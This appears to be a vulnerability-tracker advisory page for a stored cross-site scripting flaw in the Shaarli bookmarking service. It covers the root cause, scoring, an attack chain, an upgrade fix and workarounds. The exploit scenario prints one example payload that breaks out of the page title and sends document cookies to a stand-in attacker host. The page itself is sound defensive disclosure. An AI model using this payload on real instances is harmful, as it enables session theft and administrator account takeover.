Skip to main content

Shaarli EUVDEUVD-2026-63551

| CVE-2026-50190 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-20 GitHub_M
8.6
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts webpage with XSS payload in HTML title
  2. Delivery
    Social-engineer admin into bookmarking attacker URL
  3. Exploit
    Metadata fetcher stores raw title as bookmark record
  4. Install
    Admin or visitor loads /shaare/{hash} permalink
  5. C2
    Injected script executes in Shaarli origin
  6. Execute
    Session token exfiltrated to attacker
  7. Impact
    Full administrator account takeover achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two sequential conditions must be met. First, a Shaarli administrator must bookmark an attacker-controlled URL while the application's metadata fetcher is active; the fetcher is part of the default bookmarking flow and operates automatically without prompting the administrator. Second, any visitor - including the administrator on first save - must load the stored permalink at /shaare/{hash}, which triggers execution of the injected script. Once the payload is stored, no further attacker interaction is required. Factors limiting exploitation are: the need to social-engineer a specific administrator into bookmarking a particular URL; and, if the Shaarli instance is configured to require authentication for all page views, the pool of affected visitors is reduced to registered users rather than the open internet. The attacker requires no credentials, no existing account on the Shaarli instance, and no server-level access whatsoever.

Impact

The CVSS 4.0 score of 8.6 with vector AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L accurately captures the real-world risk profile. The attack requires zero attacker privileges and minimal technical sophistication; the UI:A designation correctly identifies that an administrator must actively bookmark the attacker's URL - this is the sole prerequisite before payload storage. Once planted, however, every subsequent visitor to the permalink is silently compromised with no further attacker interaction, and the administrator session-hijacking path elevates severity well beyond a typical reflected XSS. The high Confidentiality and Integrity ratings are well-grounded: full session compromise means complete ownership of the Shaarli instance. No public exploit code has been identified and the vulnerability is absent from CISA KEV, making large-scale automated exploitation unlikely at this time; however, the attack chain is simple enough that targeted attacks against known Shaarli administrators require only basic social engineering. The sole meaningful control limiting exploitation is the single social-engineering step required to get an admin to bookmark the malicious URL, and any team running Shaarli - even a small self-hosted deployment - should treat this as an urgent patch given how low the exploitation bar is once that condition is met. The VA:L rating for minor availability impact is secondary and attributable to potential JavaScript-driven page disruption.

Exploit ScenarioDerived

An attacker publishes a webpage whose HTML <title> contains a crafted payload such as </title><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>, then shares the URL with a Shaarli administrator under a plausible pretext (e.g., a relevant article or resource). When the administrator bookmarks the URL, the metadata fetcher silently copies the malicious title verbatim into the stored bookmark record. From that point forward, every visitor who loads the permalink at /shaare/{hash} - including the administrator on the initial save - executes the injected script in the Shaarli origin, delivering session tokens to the attacker with no further interaction required. No public exploit code has been identified, but the attack requires only a functioning web server and a single social engineering interaction.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 20, 2026

Stored XSS in Shaarli versions prior to 0.16.3 enables administrator account takeover through a low-effort social engineering chain requiring only that an administrator bookmark an attacker-controlled URL. The permalink handler in BookmarkListController.php writes raw bookmark titles into the HTML <title> element without HTML escaping, and Shaarli's built-in metadata fetcher copies remote page titles verbatim - meaning an attacker who controls a webpage's title silently plants a persistent payload the moment any admin bookmarks that URL. The injected script then executes in the Shaarli origin for every subsequent visitor to the permalink, including the administrator on first save, creating a one-shot session-hijacking path; no public exploit has been identified at time of analysis.

RemediationAI

Upgrade Shaarli to version 0.16.3, which resolves the issue by applying proper HTML escaping to bookmark titles before they are rendered into the HTML <title> element. The authoritative fix is documented in the GitHub security advisory at https://github.com/shaarli/Shaarli/security/advisories/GHSA-xm98-h5jj-64xv. For operators who cannot immediately upgrade, the most effective compensating control is to disable or restrict Shaarli's automatic metadata fetcher so that remote page titles are not imported without administrator review - this eliminates the silent planting vector, though titles manually entered from untrusted sources would still be at risk. A secondary control is restricting instance access to authenticated users only, which limits the blast radius of any stored payload to registered users rather than all anonymous visitors. Neither workaround eliminates the underlying encoding flaw; upgrading to 0.16.3 is the only definitive remediation.

Affected VersionsENISA

Shaarli < 0.16.3

Affected Packages

euvd shaarli fix: 0.16.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Shaarli is a PHP-based self-hosted personal bookmarking service using the RainTPL templating engine. The root cause (CWE-79 - Improper Neutralization of Input During Web Page Generation) is in the permalink handler within application/front/controller/visitor/BookmarkListController.php, which assigns the raw return value of $bookmark->getTitle() to the pagetitle template variable. RainTPL then emits this variable directly into the document's <title> element without applying HTML entity encoding, so a title containing </title><script>...</script> closes the title tag prematurely and injects executable JavaScript into the rendered page. The vulnerability is critically amplified by Shaarli's metadata fetcher, which automatically retrieves and stores the <title> content of any bookmarked URL with no sanitization step, making the remote page title a silent and automatic storage vector. Affected versions cover all Shaarli releases before 0.16.3, identified by CPE cpe:2.3:a:shaarli:shaarli:*:*:*:*:*:*:*:*.

Know when Shaarli gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
vuln.today AI 9.6 CRITICAL

Network-delivered stored XSS requires no attacker privileges (PR:N) but requires admin UI interaction to plant the payload (UI:R); scope changes (S:C) because the stored payload fires for all subsequent visitors beyond the bookmarking administrator.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 20, 2026 - 19:03 EUVD
CVE Published
Aug 20, 2026 - 18:49 cve.org
HIGH 8.6

DescriptionCVE.org

Shaarli is a personal bookmarking service. Versions prior to 0.16.3 are vulnerable to stored XSS in application/front/controller/visitor/BookmarkListController.php. The permalink handler concatenates the raw $bookmark->getTitle() into the pagetitle template variable and the RainTPL template emits it into the document <title> element without HTML escaping. A bookmark title containing </title><script>...</script> closes the document title early and the injected script executes in the Shaarli origin for any visitor of /shaare/{hash}. Shaarli's metadata fetcher copies a remote page's <title> text verbatim into the local bookmark title, so an attacker who hosts an attacker-controlled URL and convinces an administrator to bookmark it plants the payload with no further interaction - and the resulting permalink fires for every visitor including the administrator on first save, providing a one-shot administrator account takeover. Version 0.16.3 fixes the issue.

Executive ViewAI

Why It Matters

Shaarli, the open-source bookmark management system, contains a stored cross-site scripting vulnerability (CVE-2026-50190, CVSS 8.6) that allows attackers to compromise administrator accounts through a single social engineering action-tricking an admin into bookmarking a malicious link. Once exploited, attackers gain full administrative access to the system, potentially exposing sensitive bookmarked content and compromising the integrity of the bookmarking platform for all users.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 82% exploitable
Prevalence
Low
self-hosted niche personal bookmarking tool, limited enterprise footprint
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy